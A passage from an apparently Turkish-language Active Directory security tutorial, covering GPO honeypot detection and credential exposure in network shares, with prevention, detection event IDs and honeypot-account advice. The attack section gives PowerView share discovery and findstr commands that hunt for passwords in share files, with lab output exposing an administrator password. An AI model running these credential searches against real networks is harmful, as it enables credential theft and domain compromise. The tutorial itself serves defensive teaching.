            &lt;/span&gt;&lt;span class="nv"&gt;$log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Properties&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Value&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="se"&gt;`r`n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="w"&gt;
            &lt;/span&gt;&lt;span class="nv"&gt;$disabledUsers&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;$log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Properties&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;Value&lt;/span&gt;&lt;span class="w"&gt;
        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="c"&gt;# E-posta ile alarm gönder&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="c"&gt;# Send-MailMessage&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nv"&gt;$emailBody&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;15 dakika aralığının önemi:&lt;/strong&gt; Betik her 15 dakikada bir çalıştığı için, bu süre zarfında &lt;strong&gt;birden fazla&lt;/strong&gt; ele geçirilmiş kullanıcı GPO'yu değiştirmiş olabilir, betik hepsini tek seferde tespit edip devre dışı bırakır.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Lab'da çalıştırıldığında sonuç:&lt;/strong&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Honeypot GPO '73C66DBB-81DA-44D8-BDEF-20BA2C27056D' was modified
Disabled user infa
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;İnfa kullanıcısı, honeypot GPO'yu değiştirirken yakalandı ve anında devre dışı bırakıldı. Bu devre dışı bırakma işlemi de kendi başına bir event üretiyor: &lt;strong&gt;Event ID 4725&lt;/strong&gt; (kullanıcı hesabı devre dışı bırakıldı).&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Bu bölümün özeti:&lt;/strong&gt; Önceki bölümlerde (Kerberoasting, AS-REProasting, GPP) saldırgan &lt;strong&gt;parola elde etmeye&lt;/strong&gt; çalışıyordu. Bu bölümde ise saldırgan parolaya ihtiyaç duymadan, &lt;strong&gt;yapılandırma değişikliği&lt;/strong&gt; yaparak doğrudan kod çalıştırma peşinde. Savunma açısından güzel olan kısım şu: GPO değişikliklerini tespit etmek, Kerberos bilet isteklerini tespit etmekten &lt;strong&gt;çok daha kolay&lt;/strong&gt; çünkü Event ID 5136'nın hacmi, 4768/4769'a göre çok çok düşük.&lt;/p&gt;




&lt;h3&gt;
  
  
  BÖLÜM 7: KİMİLİK BİLGİSİ PAYLAŞIMI (CREDENTIALS IN SHARES)
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Açıklama:
&lt;/h4&gt;

&lt;p&gt;Ağ paylaşımlarında açığa çıkmış kimlik bilgileri, &lt;strong&gt;Active Directory'de bugüne kadar en sık karşılaşılan yanlış yapılandırmadır&lt;/strong&gt; (muhtemelen). Orta ve büyük ölçekli her kurumda neredeyse kesinlikle bulunur, küçük işletmelerde de rastlanabilir. Doküman bunu şöyle ifade ediyor: artık "parolanı ekranındaki yapışkan nota yazma" çağından, "şifrelenmemiş kimlik bilgilerini ve yetkilendirme token'larını her yere saçma" çağına geçtik.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Kimlik bilgileri en çok nerede bulunur?&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Ağ paylaşımlarında:&lt;/strong&gt; Betik ve yapılandırma dosyalarında, &lt;code&gt;.bat&lt;/code&gt;, &lt;code&gt;.cmd&lt;/code&gt;, &lt;code&gt;.ps1&lt;/code&gt; (PowerShell), &lt;code&gt;.conf&lt;/code&gt;, &lt;code&gt;.ini&lt;/code&gt;, &lt;code&gt;.config&lt;/code&gt; dosyaları&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Kullanıcının yerel makinesinde:&lt;/strong&gt; Metin dosyaları, Excel tabloları, Word belgeleri içinde&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Kritik nokta:&lt;/strong&gt; Ağ paylaşımlarındaki kimlik bilgileri, yerel makinedekilerden &lt;strong&gt;çok daha tehlikelidir&lt;/strong&gt;, çünkü paylaşım, domain'deki &lt;strong&gt;her kullanıcı&lt;/strong&gt; tarafından erişilebilir olabilir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bir paylaşımın neden herkese açık hale geldiğinin dört ana nedeni:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1) Zamanla gevşetilen izinler:&lt;/strong&gt; Bir yönetici başlangıçta doğru izinlerle paylaşım oluşturur, ama sonradan başka bir yönetici (veya kendisi) erişimi &lt;code&gt;Everyone&lt;/code&gt; veya &lt;code&gt;Users&lt;/code&gt; grubuna açar. Burada kritik bir &lt;strong&gt;yanlış anlama&lt;/strong&gt; var: birçok yönetici, &lt;code&gt;Users&lt;/code&gt; grubunun yalnızca o sunucuya yerel kullanıcıları içerdiğini düşünür, oysa AD ortamında bir sunucunun &lt;code&gt;Users&lt;/code&gt; grubu, &lt;strong&gt;Domain Users&lt;/strong&gt; grubunu üye olarak içerir. Yani &lt;code&gt;Users&lt;/code&gt; demek = &lt;strong&gt;domain'deki herkes&lt;/strong&gt; demek.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2) Paylaşılan klasör olduğunun fark edilmemesi:&lt;/strong&gt; Birçok yönetici betiklerini test etmek için &lt;code&gt;C:\scripts&lt;/code&gt; gibi bir klasör oluşturur, ama bu klasörün aslında ağda paylaşıldığını (shared) bilmeyebilir. Klasör paylaşılmışsa (örneğin &lt;code&gt;Users&lt;/code&gt; grubuyla), betiklerin içindeki kimlik bilgileri de ağ üzerinden herkese açık hale gelir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3) Geçici paylaşımın unutulması:&lt;/strong&gt; Bir sunucuya veri taşımak (uygulama, dosya vb.) amacıyla geçici olarak açık bir paylaşım oluşturulur ve &lt;strong&gt;sonra kapatılması unutulur.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4) Gizli paylaşımlar hakkında yanlış kanı ($ işareti):&lt;/strong&gt; Adı &lt;code&gt;$&lt;/code&gt; ile biten paylaşımlar (örneğin &lt;code&gt;dev$&lt;/code&gt;) "gizli paylaşım" olarak bilinir. Yaygın bir yanlış inanış, kullanıcıların bu paylaşımları &lt;strong&gt;yerini bilmeden bulamayacağıdır.&lt;/strong&gt; Gerçek şu: Windows Explorer bu paylaşımları göstermez (çünkü &lt;code&gt;$&lt;/code&gt; ile biten isimleri gizler), ama &lt;strong&gt;diğer tüm araçlar&lt;/strong&gt; (PowerView, &lt;code&gt;net share&lt;/code&gt;, &lt;code&gt;smbclient&lt;/code&gt; vb.) bunları rahatlıkla listeler. Yani &lt;code&gt;$&lt;/code&gt; sadece Explorer'dan gizler, gerçek bir güvenlik katmanı değildir.&lt;/p&gt;




&lt;h4&gt;
  
  
  Saldırı (Attack)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;1. Adım: Domain'deki paylaşımları keşfetme:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;PowerView&lt;/code&gt; araç setinden &lt;strong&gt;&lt;code&gt;Invoke-ShareFinder&lt;/code&gt;&lt;/strong&gt; fonksiyonu kullanılıyor. Bu fonksiyon şunları yapabilir:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Varsayılan paylaşımları filtreler (&lt;code&gt;C$&lt;/code&gt;, &lt;code&gt;IPC$&lt;/code&gt; gibi) → &lt;code&gt;-ExcludeStandard&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Mevcut kullanıcının erişimi olup olmadığını kontrol eder → &lt;code&gt;-CheckShareAccess&lt;/code&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;Invoke-ShareFinder&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-domain&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;krysthal.local&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-ExcludeStandard&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nt"&gt;-CheckShareAccess&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Lab ortamında bulunan sonuçlar:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;\\DC2.krysthal.local\NETLOGON         - Logon server share
\\DC2.krysthal.local\SYSVOL           - Logon server share
\\WS001.krysthal.local\Share          -
\\WS001.krysthal.local\Users          -
\\Server01.krysthal.local\dev$        -
\\DC1.krysthal.local\NETLOGON         - Logon server share
\\DC1.krysthal.local\SYSVOL           - Logon server share
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Lab ortamında az sayıda paylaşım var, ama &lt;strong&gt;gerçek üretim ortamlarında bu sayı binlere ulaşabilir&lt;/strong&gt; (hepsini taramak uzun sürer).&lt;/p&gt;

&lt;p&gt;Dikkat et: &lt;code&gt;dev$&lt;/code&gt; gizli paylaşım görünüyor. Windows Explorer ile &lt;code&gt;Server01&lt;/code&gt;'a göz atıldığında bu paylaşım &lt;strong&gt;görünmez&lt;/strong&gt;, ama UNC yolu (&lt;code&gt;\\Server01.krysthal.local\dev$&lt;/code&gt;) bilindiği için doğrudan gidildiğinde içeriği görülür.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Adım — Paylaşımlarda kimlik bilgisi arama:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Doküman burada bilinçli olarak otomatik araçlar yerine &lt;strong&gt;Living Off the Land&lt;/strong&gt; yaklaşımını tercih ediyor ve Windows'un yerleşik &lt;strong&gt;&lt;code&gt;findstr&lt;/code&gt;&lt;/strong&gt; komutunu kullanıyor. Parametreler:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;/s&lt;/code&gt; — alt klasörler dahil tara&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/i&lt;/code&gt; — büyük/küçük harf ayrımı yapma&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;/m&lt;/code&gt; — sadece eşleşen &lt;strong&gt;dosya adını&lt;/strong&gt; göster (içeriği değil). Bu, gerçek ortamlarda &lt;strong&gt;çok kritik&lt;/strong&gt; — çünkü &lt;code&gt;/m&lt;/code&gt; olmadan, örneğin &lt;code&gt;pass&lt;/code&gt; araması yapıldığında, PowerShell betiklerindeki her &lt;code&gt;PassThru&lt;/code&gt; parametresi de eşleşir ve &lt;strong&gt;binlerce satır&lt;/strong&gt; geri döner.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Arama 1 — "pass" terimi:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;\\Server01.krysthal.local\dev&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;findstr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pass"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*.&lt;/span&gt;&lt;span class="nf"&gt;bat&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c"&gt;# sonuç yok&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;findstr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pass"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*.&lt;/span&gt;&lt;span class="nf"&gt;cmd&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c"&gt;# sonuç yok&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;findstr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pass"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*.&lt;/span&gt;&lt;span class="nf"&gt;ini&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c"&gt;# setup.ini bulundu&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="n"&gt;findstr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pass"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*.&lt;/span&gt;&lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c"&gt;# 4\5\4\web.config bulundu&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Arama 2 — "pw" terimi:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;findstr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pw"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*.&lt;/span&gt;&lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# 5\2\3\microsoft.config bulundu&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;findstr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"pw"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*.&lt;/span&gt;&lt;span class="nf"&gt;config&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c"&gt;# /m olmadan → içerik de gösterilir&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# 5\2\3\microsoft.config:pw BANANANANANANANANANANANANNAANANANANAS&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Arama 3 — Domain'in NetBIOS adı (çok akıllıca ve az bilinen bir teknik!):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;runas&lt;/code&gt; ve &lt;code&gt;net use&lt;/code&gt; gibi komutlar, parolayı &lt;code&gt;pass&lt;/code&gt; veya &lt;code&gt;pw&lt;/code&gt; gibi bir etiketle değil, &lt;strong&gt;pozisyonel argüman&lt;/strong&gt; olarak alır: &lt;code&gt;/user:DOMAIN\USERNAME PASSWORD&lt;/code&gt; formatında. Bu yüzden &lt;code&gt;pass&lt;/code&gt; veya &lt;code&gt;pw&lt;/code&gt; aramak bu tür kimlik bilgilerini &lt;strong&gt;kaçırır&lt;/strong&gt; — ama domain adı olan &lt;strong&gt;&lt;code&gt;krysthal&lt;/code&gt;&lt;/strong&gt; ile aramak yakalar:&lt;/p&gt;

&lt;p&gt;powershell&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight powershell"&gt;&lt;code&gt;&lt;span class="n"&gt;findstr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/m&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"krysthal"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*.&lt;/span&gt;&lt;span class="nf"&gt;ps1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# 2\4\4\Software\connect.ps1 bulundu&lt;/span&gt;&lt;span class="w"&gt;

&lt;/span&gt;&lt;span class="n"&gt;findstr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/s&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nx"&gt;/i&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"krysthal"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*.&lt;/span&gt;&lt;span class="nf"&gt;ps1&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="c"&gt;# 2\4\4\Software\connect.ps1:net use E: \\DC1\sharedScripts /user:krysthal\Administrator mvp123&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;İşte burada &lt;strong&gt;domain'in yerleşik Administrator hesabının parolası&lt;/strong&gt; (&lt;code&gt;mvp123&lt;/code&gt;) açık metin olarak ortaya çıkıyor, bir &lt;code&gt;net use&lt;/code&gt; komutu içinde. Doküman bu sonucun gerçek ortamlarda da &lt;strong&gt;nadir olmadığını&lt;/strong&gt; vurguluyor: betik dosyalarında domain admin kimlik bilgilerini bulmak sık karşılaşılan bir durum.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Önemli not:&lt;/strong&gt; &lt;code&gt;findstr&lt;/code&gt; komutunun bu parametrelerle çalıştırılması, &lt;strong&gt;son zamanlarda Windows Defender tarafından şüpheli davranış olarak algılanmaya&lt;/strong&gt; başlandı.&lt;/p&gt;




&lt;h4&gt;
  
  
  Önleme (Prevention)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;1) Paylaşım izinlerini sıkılaştırma:&lt;/strong&gt; Domain'deki &lt;strong&gt;her&lt;/strong&gt; paylaşımın izinlerini gözden geçirip gevşek izinlerin olmadığından emin olun.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2) Düzenli tarama:&lt;/strong&gt; Kullanıcıların betiklerde veya dosyalarda ne bıraktığını teknik olarak tamamen kontrol etmek mümkün değil, bu yüzden &lt;strong&gt;haftalık&lt;/strong&gt; gibi düzenli aralıklarla AD ortamını tarayarak yeni açılan paylaşımları veya mevcut paylaşımlardaki açığa çıkmış kimlik bilgilerini tespit etmek gerekir.&lt;/p&gt;




&lt;h4&gt;
  
  
  Tespit (Detection)
&lt;/h4&gt;

&lt;p&gt;&lt;strong&gt;1) Kullanıcı davranış analizi (UBA User Behavior Analysis):&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Keşfedilen kimlik bilgilerinin &lt;strong&gt;kötüye kullanılmasını&lt;/strong&gt; tespit etmenin en iyi yolu, kullanıcıların giriş zamanını ve konumunu analiz etmektir. Yukarıdaki saldırıda bulunan &lt;code&gt;Administrator&lt;/code&gt; hesabını ele alalım: eğer organizasyon &lt;strong&gt;PAW (Privileged Access Workstation)&lt;/strong&gt; kullanıyorsa, ayrıcalıklı kullanıcıların &lt;strong&gt;yalnızca bu iş istasyonlarından&lt;/strong&gt; kimlik doğrulaması yapması beklenir. PAW dışından gelen herhangi bir giriş denemesi alarm üretmelidir.&lt;/p&gt;

&lt;p&gt;İzlenecek event ID'ler:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;4624&lt;/strong&gt; — Başarılı oturum açma&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;4625&lt;/strong&gt; — Başarısız oturum açma&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;4768&lt;/strong&gt; — Kerberos TGT istendi (Kerberos ile kimlik doğrulama yapılırsa)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Lab ortamında, saldırgan Administrator hesabıyla giriş yaptığında Event ID 4624 üretiliyor — burada &lt;strong&gt;kaynak iş istasyonu&lt;/strong&gt; (Workstation Name) ve &lt;strong&gt;kaynak IP&lt;/strong&gt; (Source Network Address) alanları, normal davranıştan sapma olup olmadığını kontrol etmek için kritik.&lt;/p&gt;

&lt;p&gt;Benzer şekilde, Kerberos ile kimlik doğrulama yapılırsa Event ID 4768 üretilir — burada da &lt;strong&gt;Client Address&lt;/strong&gt; alanı, isteğin nereden geldiğini gösterir.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2) Bire-çok (one-to-many) bağlantı tespiti:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;code&gt;Invoke-ShareFinder&lt;/code&gt; çalıştırıldığında, bu araç domain'deki &lt;strong&gt;her cihaza&lt;/strong&gt; bağlanarak paylaşım listesi çeker. Bir iş istasyonunun aynı anda &lt;strong&gt;yüzlerce veya binlerce&lt;/strong&gt; farklı cihaza bağlanması &lt;strong&gt;son derece anormaldir&lt;/strong&gt; — bu tür bir trafik deseni, ağ izleme araçlarıyla (SIEM, NDR) kolayca tespit edilebilir.&lt;/p&gt;




&lt;h4&gt;
  
  
  Honeypot (Tuzak Hesap)
&lt;/h4&gt;

&lt;p&gt;Bu saldırı, AD ortamında honeypot kullanıcı bırakmak için &lt;strong&gt;bir neden daha&lt;/strong&gt; sunuyor. Strateji önceki bölümlerle aynı: &lt;strong&gt;yarı yetkili bir kullanıcı adı, yanlış bir parolayla.&lt;/strong&gt; Saldırgan bu parolanın yanlış olduğunu ancak parolayı deneyerek anlayabilir — bu da alarm tetikler.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;İyi bir honeypot hesap kurulumu için kriterler:&lt;/strong&gt;&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;2+ yıl önce&lt;/strong&gt; oluşturulmuş bir servis hesabı olmalı. Son parola değişikliği en az &lt;strong&gt;1 yıl önce&lt;/strong&gt; olmalı.&lt;/li&gt;
&lt;li&gt;Sahte parolayı içeren dosyanın &lt;strong&gt;son değiştirilme tarihi&lt;/strong&gt;, hesabın &lt;strong&gt;son parola değişikliği tarihinden sonra&lt;/strong&gt; olmalı. Bu çok kritik — çünkü aksi durumda saldırgan "parola dosyadan sonra değiştirilmiş, bu parola artık geçersiz" diye düşünüp denemez bile. Parola zaten yanlış olduğu için hesabın ele geçirilme riski yok.&lt;/li&gt;
&lt;li&gt;Hesap &lt;strong&gt;hâlâ aktif&lt;/strong&gt; olmalı (devre dışı bırakılmamış).&lt;/li&gt;
&lt;li&gt;Kimlik bilgilerini içeren betik &lt;strong&gt;gerçekçi&lt;/strong&gt; olmalı. Örneğin, MSSQL servis hesabı seçildiyse, dosyada bir &lt;strong&gt;bağlantı dizesi (connection string)&lt;/strong&gt; içinde kimlik bilgilerinin açığa çıkması inandırıcı olur.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;strong&gt;Beklenen alarm event'leri:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Parola yanlış olduğu için çoğunlukla &lt;strong&gt;başarısız&lt;/strong&gt; giriş denemeleri beklenir. Lab ortamında saldırgan &lt;code&gt;svc-iis&lt;/code&gt; hesabıyla yanlış parolayla giriş denediğinde üç event üretiliyor:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Event ID 4625&lt;/strong&gt; — Başarısız oturum açma. Event detaylarında &lt;code&gt;svc-iis&lt;/code&gt; kullanıcı adı, kaynak iş istasyonu (WS001 — ele geçirilmiş makine) ve hata kodu görünür.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Event ID 4771&lt;/strong&gt; — Kerberos ön kimlik doğrulaması başarısız. Detaylarda &lt;code&gt;Account Name: svc-iis&lt;/code&gt;, &lt;code&gt;Client Address: ::ffff:172.16.18.4&lt;/code&gt; (ele geçirilmiş cihaz), &lt;code&gt;Failure Code: 0x18&lt;/code&gt; (bu kod &lt;strong&gt;yanlış parola sağlandı&lt;/strong&gt; anlamına gelir) ve &lt;code&gt;Pre-Authentication Type: 2&lt;/code&gt; alanları görünür.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Event ID 4776&lt;/strong&gt; — Bilgisayar kimlik bilgilerini doğrulamaya çalıştı. Detaylarda &lt;code&gt;Authentication Package: MICROSOFT_AUTHENTICATION_PACKAGE_V1_0&lt;/code&gt;, &lt;code&gt;Logon Account: svc-iis&lt;/code&gt; ve &lt;code&gt;Error Code: 0xC000006A&lt;/code&gt; (bu kod da &lt;strong&gt;yanlış parola&lt;/strong&gt; anlamına gelir) alanları görünür.&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;&lt;strong&gt;Bu bölümün büyük resmi:&lt;/strong&gt; Bu saldırı, önceki bölümlerin hiçbirine benzemiyor, ne kriptografik kırma (Kerberoasting/AS-REProasting), ne tasarım hatası (GPP), ne yapılandırma manipülasyonu (GPO). Bu tamamen &lt;strong&gt;insan hatası ve operasyonel disiplinsizlik&lt;/strong&gt; kaynaklı bir zayıflık. Ve dokümanın belirttiği gibi, muhtemelen AD ortamlarında &lt;strong&gt;en yaygın bulunan&lt;/strong&gt; sorun budur. Teknik karmaşıklığı düşük ama etkisi yıkıcı, çünkü bulunan kimlik bilgileri genellikle yüksek yetkili hesaplara ait oluyor.&lt;/p&gt;




&lt;h3&gt;
  
  
  BÖLÜM 8: NESNE ÖZELLİKLERİNDEKİ KİMLİK BİLGİLERİ (CREDENTIALS IN OBJECT PROPERTIES)
&lt;/h3&gt;

&lt;h4&gt;
  
  
  Açıklama
&lt;/h4&gt;

&lt;p&gt;Active Directory'deki her nesne (kullanıcı, bilgisayar, grup vb.) birçok farklı &lt;strong&gt;özelliğe (property)&lt;/strong&gt; sahiptir. Örneğin bir kullanıcı nesnesinde şu bilgiler saklanabilir:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Hesap aktif mi?&lt;/li&gt;
&lt;li&gt;Hesap ne zaman sona eriyor?&lt;/li&gt;
&lt;li&gt;Son parola değişikliği ne zaman yapıldı?&lt;/li&gt;
&lt;li&gt;Hesabın adı nedir?&lt;/li&gt;
